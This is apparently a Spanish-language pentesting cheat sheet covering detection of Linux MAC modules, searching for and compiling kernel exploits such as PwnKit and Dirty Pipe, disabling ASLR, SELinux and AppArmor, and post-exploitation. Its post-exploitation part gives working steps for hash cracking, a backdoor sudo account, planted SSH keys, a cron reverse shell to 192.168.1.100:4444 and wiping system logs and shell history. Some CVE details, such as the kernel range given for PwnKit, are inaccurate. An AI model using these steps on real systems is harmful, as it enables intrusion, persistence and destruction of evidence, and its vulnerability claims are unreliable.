Exploits de Kernel, Protecciones del Sistema y Post-Explotación
Protecciones MAC del Kernel Linux
¿Qué es MAC? Control de Acceso Obligatorio (Mandatory Access Control) — capa de seguridad adicional por encima de los permisos normales de Linux (DAC). Aunque tengas SUID, capabilities o seas root, el MAC puede seguir bloqueando acciones específicas según políticas definidas en el kernel.
Opera a través del framework LSM (Linux Security Modules) — un conjunto de hooks en el kernel que interceptan operaciones sensibles antes de ejecutarlas.
Por qué importa en privesc: Si el sistema tiene MAC activo en modo Enforcing, tus exploits pueden fallar aunque técnicamente tengas los permisos correctos. Lo primero que haces al entrar es verificar si hay MAC activo y en qué modo.
1. Verificación general — qué LSM está activo
# Ver qué módulos de seguridad están cargados en el kernel
cat /sys/kernel/security/lsm
# Output típico:
# lockdown,capability,selinux → SELinux activo
# lockdown,capability,apparmor → AppArmor activo
# lockdown,capability → solo protecciones básicas, sin MAC
# Ver qué hay en el directorio de seguridad del kernel
ls /sys/kernel/security/
# Ver desde el boot — qué se pasó como parámetro al kernel
cat /proc/cmdline | grep -i "security\|selinux\|apparmor\|smack"
# Ver módulos del kernel relacionados
lsmod | grep -i "selinux\|apparmor\|smack\|tomoyo"
# Ver desde los logs de arranque
dmesg | grep -i "selinux\|apparmor\|smack\|lsm"
# Ver filesystems de seguridad montados
cat /proc/mounts | grep "securityfs\|selinux\|apparmor"2. SELinux (Security-Enhanced Linux)
Cómo funciona: asigna etiquetas de contexto de seguridad a cada proceso y archivo. Las operaciones se permiten o deniegan según las reglas entre esos contextos, independientemente de los permisos Unix normales.
Detectar si está activo
# Forma más directa — devuelve el modo actual
getenforce
# Enforcing → activo y bloqueando operaciones
# Permissive → activo pero solo logea, no bloquea
# Disabled → completamente apagado
# Más detalle
sestatus
# Desde el kernel directamente (no necesita herramientas instaladas)
cat /sys/fs/selinux/enforce
# 1 = Enforcing
# 0 = Permissive
# Error "no existe" = SELinux no está montado = inactivoVer contextos de seguridad
# Ver el contexto de seguridad de tu usuario/proceso actual
id -Z
# Ver contexto de procesos corriendo
ps -eZ | grep bash
ps -eZ | grep <nombre_proceso>
# Ver contexto de archivos — la columna extra entre permisos y nombre
ls -Z /etc/passwd
ls -Z /home/
# Ver contexto del proceso actual desde /proc
cat /proc/self/attr/current
# Ver el archivo de configuración
cat /etc/selinux/configQué significa para tu ataque
# Si getenforce devuelve "Enforcing":
# → Aunque tengas eUID=0 por SUID, SELinux puede bloquear
# operaciones específicas según el contexto del binario
# → Revisa el contexto del binario que intentas abusar:
ls -Z /usr/bin/find
# unconfined_u:object_r:bin_t:s0 → sin restricciones extra
# system_u:object_r:bin_t:s0 → bajo política del sistema
# Si getenforce devuelve "Permissive":
# → Puedes explotar con normalidad, solo deja logs
# → Los logs van a /var/log/audit/audit.log3. AppArmor
Cómo funciona: usa perfiles basados en rutas de archivos para restringir qué puede hacer cada programa. Un perfil define exactamente qué archivos puede leer, escribir y ejecutar un binario específico.
Detectar si está activo
# Estado general — necesita estar en /usr/sbin/
aa-status
/usr/sbin/aa-status
# Desde el kernel — no necesita herramientas
cat /sys/module/apparmor/parameters/enabled
# Y = activo
# N = inactivo
# Error = no está cargado
# Ver perfiles cargados y su modo
cat /sys/kernel/security/apparmor/profiles
# nombre_perfil (enforce) → bloqueando
# nombre_perfil (complain) → solo logea, equivalente a PermissiveVer qué perfil tiene un proceso
# Tu proceso actual
cat /proc/self/attr/current
cat /proc/$$/attr/current
# Si devuelve "unconfined" → sin perfil → sin restricciones
# Si devuelve nombre de perfil → tiene restricciones
# Proceso específico por PID
cat /proc/<PID>/attr/current
# Ver todos los procesos con su perfil
ps auxZ | grep -v unconfined
# Los que no sean unconfined tienen restricciones AppArmorQué significa para tu ataque
# Si el binario que intentas abusar dice "unconfined":
cat /proc/$(pgrep bash)/attr/current
# → Sin restricciones de AppArmor, puedes explotar normal
# Si tiene un perfil en modo enforce:
# → Aunque el binario tenga SUID o capability, AppArmor
# puede bloquear que abra /etc/shadow, ejecute /bin/bash, etc.
# → Busca si el perfil tiene huecos (complain mode o reglas permisivas)
# Los logs de bloqueos van a:
cat /var/log/syslog | grep "apparmor"
cat /var/log/kern.log | grep "apparmor"
dmesg | grep "apparmor"4. Smack (Simplified MAC Kernel)
Cómo funciona: usa etiquetas simples en procesos y objetos. Las reglas definen qué etiqueta puede acceder a qué. Más simple que SELinux, común en sistemas embebidos.
# ¿Está montado el filesystem de Smack?
ls /sys/fs/smackfs
cat /sys/fs/smackfs/load # ver reglas cargadas
# Tu etiqueta actual
cat /proc/self/attr/current
# Verificar si está en mounts
cat /proc/mounts | grep smack5. TOMOYO Linux
Cómo funciona: aprende y restringe las rutas de ejecución de programas basándose en análisis dinámico. Define qué rutas de archivo puede seguir cada proceso.
# ¿Está activo?
cat /sys/kernel/security/tomoyo/version
# Ver políticas cargadas
cat /sys/kernel/security/tomoyo/domain_policy
# Desde mounts
cat /proc/mounts | grep tomoyo6. One-liner de enumeración rápida — todo de una vez
echo "=== LSM activo ===" && \
cat /sys/kernel/security/lsm 2>/dev/null; \
echo -e "\n=== SELinux ===" && \
getenforce 2>/dev/null || cat /sys/fs/selinux/enforce 2>/dev/null || echo "no instalado"; \
echo -e "\n=== AppArmor ===" && \
cat /sys/module/apparmor/parameters/enabled 2>/dev/null || echo "no instalado"; \
echo -e "\n=== Smack ===" && \
ls /sys/fs/smackfs 2>/dev/null || echo "no instalado"; \
echo -e "\n=== TOMOYO ===" && \
cat /sys/kernel/security/tomoyo/version 2>/dev/null || echo "no instalado"; \
echo -e "\n=== Mi contexto actual ===" && \
cat /proc/self/attr/current 2>/dev/null7. Tabla resumen — qué implica cada resultado
| Resultado | Implicación para el ataque |
|---|---|
| SELinux Enforcing | Exploits pueden bloquearse aunque tengas SUID/caps — revisa contextos con ls -Z y id -Z |
| SELinux Permissive | Solo logea, no bloquea — explota con normalidad |
| SELinux Disabled | Sin restricciones de SELinux |
| AppArmor activo + perfil enforce | El binario tiene restricciones de ruta — puede bloquear tu exploit |
| AppArmor activo + perfil complain | Solo logea — puedes explotar igual |
| AppArmor activo + proceso unconfined | Sin perfil asignado — sin restricciones |
| AppArmor N o inactivo | Sin restricciones de AppArmor |
| Smack/TOMOYO activos | Poco común en labs — verifica etiquetas con /proc/self/attr/current |
lsm solo muestra lockdown,capability | Sin MAC configurado — solo permisos Unix normales |
8. Flujo de decisión al entrar a un sistema
cat /sys/kernel/security/lsm
↓
¿Aparece selinux?
└─ Sí → getenforce
├─ Enforcing → cuidado, revisa contextos antes de explotar
├─ Permissive → puedes explotar, solo deja logs
└─ Disabled → sin restricciones
↓
¿Aparece apparmor?
└─ Sí → cat /proc/self/attr/current
├─ unconfined → sin restricciones para tu proceso
└─ nombre_perfil → revisa qué permite ese perfil
↓
¿Nada de lo anterior?
└─ Sin MAC → el sistema solo usa permisos Unix (DAC)
→ Procede con enumeración normal de SUID, capabilities, cron, etc.Búsqueda de Vulnerabilidades del Kernel
Identificar Versión del Kernel
uname -r
cat /etc/os-release
lsb_release -a
# Ejemplo: 5.10.0-8-amd64 (Debian)
# Ejemplo: 4.15.0-112-generic (Ubuntu)
# Ejemplo: 5.4.0-42-generic (Ubuntu 20.04)Buscar Exploits (en Kali)
searchsploit "Linux Kernel" 5.10
searchsploit "Ubuntu" 20.04 "privilege escalation"
searchsploit "CVE-2021-4034"
searchsploit -m 50123 # Descargar exploit
# También:
google: "Ubuntu 20.04 kernel exploit 2021"
exploit-db.com
packetstormsecurity.comValidar Applicabilidad
# Archivo: check_kernel.sh
#!/bin/bash
echo "[*] Kernel: $(uname -r)"
echo "[*] OS: $(cat /etc/os-release | grep PRETTY)"
gcc --version
uname -mKernel Exploits Comunes
CVE-2021-4034 - PwnKit (CRÍTICO)
Afectados: Linux Kernel hasta 5.16.11
¿Qué hace? Escalada local de privilegios a través de pkexec.
Descargas:
- GitHub: https://github.com/berdav/CVE-2021-4034
- Exploit-DB: https://www.exploit-db.com/exploits/50689
Explotar:
# Descargar exploit
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
# Compilar
make
# Ejecutar
./cve-2021-4034
# Resultado: bash como rootCVE-2021-22555 - Netfilter (High)
Afectados: Linux 4.15 - 5.6.x
Kernel vulnerable:
uname -r | grep "4.15\|4.16\|4.17\|4.18\|5.0\|5.1\|5.2\|5.3\|5.4\|5.5\|5.6"Explotar:
searchsploit CVE-2021-22555
searchsploit -m linux/kernel_exploits/51996.c
gcc -o exploit 51996.c
./exploitCVE-2022-0847 - Dirty Pipe
Afectados: Linux 5.8 - 5.16.11
¿Qué hace? Sobrescribir datos en archivos a través de pipe.
Descargas:
- GitHub: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
- Exploit-DB: https://www.exploit-db.com/exploits/50850
Usar:
# Descargar
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
# Compilar y ejecutar
gcc -o exploit exploit.c
./exploitCVE-2022-34918 - netfilter (High)
Afectados: Linux 5.17 - 5.18
searchsploit CVE-2022-34918CVE-2021-3439 - EBPF (High)
Afectados: Linux < 5.11
# Compilar eBPF exploit
clang -O2 -target bpf -c exploit.c -o exploit.o
llc -march=bpf -filetype=obj -o exploit.o exploit.cCVE-2017-5754 - Meltdown
Afectados: Intel processors
# Verificar vulnerabilidad
cat /proc/cpuinfo | grep "bugs"
# Si tiene "meltdown", kernel vulnerableCVE-2017-5715 - Spectre
Afectados: Intel y AMD processors
# Verificar
cat /proc/cpuinfo | grep "bugs"CVE-2022-0492 - cgroup v1
Afectados: Linux < 5.16
# Compilar exploit
gcc -O2 -o exploit exploit.c
./exploitCompilar Exploits del Kernel
Requisitos
gcc --version
make --versionCompilación Básica
# Simpl exploit .c
gcc -o exploit exploit.c
# Con librerías específicas
gcc -o exploit exploit.c -lpthread
# 64-bit
gcc -m64 -o exploit exploit.c
# 32-bit (si necesitas)
gcc -m32 -o exploit exploit.c
# Compilar desde Kali para objetivo diferente
x86_64-w64-mingw32-gcc exploit.c # Para Windows
arm-linux-gnueabihf-gcc exploit.c # Para ARMTransferir Exploit
# Desde Kali a Objetivo
scp exploit usuario@objetivo:/tmp/
# O con Python HTTP
python3 -m http.server 8000
# En objetivo:
wget http://kali:8000/exploit
curl -O http://kali:8000/exploitEjecutar Exploit
chmod +x exploit
./exploit
# Si necesita compilación durante ejecución:
./exploit
# Esperar (puede tardar)
# Verificar ejecución
id
whoamiProtecciones del Sistema
ASLR (Address Space Layout Randomization)
¿Qué hace? Aleatoriza direcciones de memoria para dificultar exploits.
Verificar:
cat /proc/sys/kernel/randomize_va_space
# 0 = Deshabilitado (vulnerable)
# 1 = Parcialmente habilitado
# 2 = Totalmente habilitado (máximo)Deshabilitar (como root):
echo 0 > /proc/sys/kernel/randomize_va_space
# Permanente - agregar a /etc/sysctl.conf:
echo "kernel.randomize_va_space = 0" >> /etc/sysctl.conf
sysctl -pSELinux (Security-Enhanced Linux)
¿Qué hace? Control de acceso obligatorio (MAC) en Red Hat/CentOS.
Verificar Estado:
getenforce
sestatus
# Salida:
# Enforcing = Habilitado y activo
# Permissive = Habilitado pero sin bloquear
# Disabled = DeshabilitadoDeshabilitar (como root):
setenforce 0
# Permanente - editar /etc/selinux/config:
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config
# Requiere reboot para efecto completoAppArmor
¿Qué hace? Control de acceso obligatorio (MAC) en Debian/Ubuntu.
Verificar Estado:
aa-status
systemctl status apparmor
# Ver perfiles
cat /etc/apparmor.d/*Deshabilitar (como root):
systemctl disable apparmor
systemctl stop apparmor
# O remover paquete:
sudo apt remove apparmor
# Permanente - editar /etc/default/grub:
GRUB_CMDLINE_LINUX="apparmor=0"
sudo update-grubSeccomp (Secure Computing)
¿Qué hace? Restringe syscalls disponibles para procesos.
Verificar:
grep -i seccomp /proc/self/status
# Si aparece: Seccomp = 1, está en modo filterGrsecurity / PaX
¿Qué hace? Protecciones kernel adicionales.
Verificar:
uname -r | grep "grsec\|pax"
cat /proc/cmdline | grep "grsec\|pax"Control Flow Guard (CFG)
¿Qué hace? Protege contra modificación del flujo de programas.
Verificar en binarios:
checksec exploit
checksec /bin/bash
# Ver protecciones:
# RELRO: Partial/Full
# Stack: Canary found/Not found
# NX: NX enabled/disabled
# PIE: PIE enabled/disabledPost-Explotación
Verificar Acceso como Root
whoami
id
sudo -l
# Ver si puedes leer /etc/shadow
cat /etc/shadowExtraer Hashes
# Combinar passwd y shadow
unshadow /etc/passwd /etc/shadow > hashes.txt
# Crackear hashes (en Kali)
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
hashcat -m 1800 hashes.txt rockyou.txtCrear Usuario Backdoor
# Como root
useradd -m -p $(openssl passwd -1 Password123!) backdoor
usermod -aG sudo backdoor
# Verificar
id backdoor
sudo -l -U backdoorAgregar Clave SSH Pública
# Como root
mkdir -p /root/.ssh
echo "tu_clave_publica" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Desde Kali
ssh -i id_rsa root@objetivoPersistencia - Cron Job
# Como root
crontab -e
# Agregar:
* * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
# Listener en Kali:
nc -lvp 4444Persistencia - SSH Backdoor
# Modificar /etc/ssh/sshd_config
echo "Port 2222" >> /etc/ssh/sshd_config
systemctl restart ssh
# Conectar por puerto alternativo
ssh -p 2222 root@objetivoLimpiar Logs
# Ver logs del sistema
cat /var/log/auth.log | grep usuario
# Limpiar
> /var/log/auth.log
> /var/log/syslog
> /var/log/secure
> /var/log/access.log
# Limpiar historial bash
history -c
> ~/.bash_history
# Limpiar logs de comando ejecutados
unset HISTFILE
export HISTFILE=/dev/nullMonitoreo de Actividad
# Ver conexiones activas
ss -antp
netstat -antp
# Ver procesos específicos
pgrep -a ssh
pgrep -a nc
# Logs en tiempo real
tail -f /var/log/auth.log
journalctl -u ssh -fHerramientas de Automatización
LinPEAS (reconocido)
# Descargar
wget https://github.com/carlospolop/PEASS-ng/releases/download/20240804/linpeas.sh
# Ejecutar
./linpeas.sh
# Con salida a archivo
./linpeas.sh > output.txt 2>&1Privilege Escalation – Linux
# Otros scripts
./enum4linux.sh
./unix-privesc-check.sh
./kernelcheck.shChecklist de Escalada de Privilegios
Enumeración inicial ✓
- whoami, id, sudo -l
- uname -a, cat /etc/os-release
Búsqueda de credenciales ✓
- history, .bash_history
- /etc/shadow (si accesible)
- Archivos de config con passwords
SUID/SGID ✓
- find / -perm -4000 / -6000
- GTFOBins exploitation
Sudo Rights ✓
- sudo -l
- Comandos permitidos sin password
Grupos Privilegiados ✓
- id | grep docker/lxd/sudo/wheel
- Group-based escalation
CRON/PATH ✓
- crontab -l, /etc/crontab
- echo $PATH, PATH injection
Servicios Vulnerables ✓
- ps aux, systemctl list-units
- Servicios ejecutados como root
Kernel Exploits ✓
- uname -r, searchsploit
- Compilar y ejecutar exploit
Post-Explotación ✓
- Crear usuario backdoor
- SSH keys, persistencia
- Limpiar logs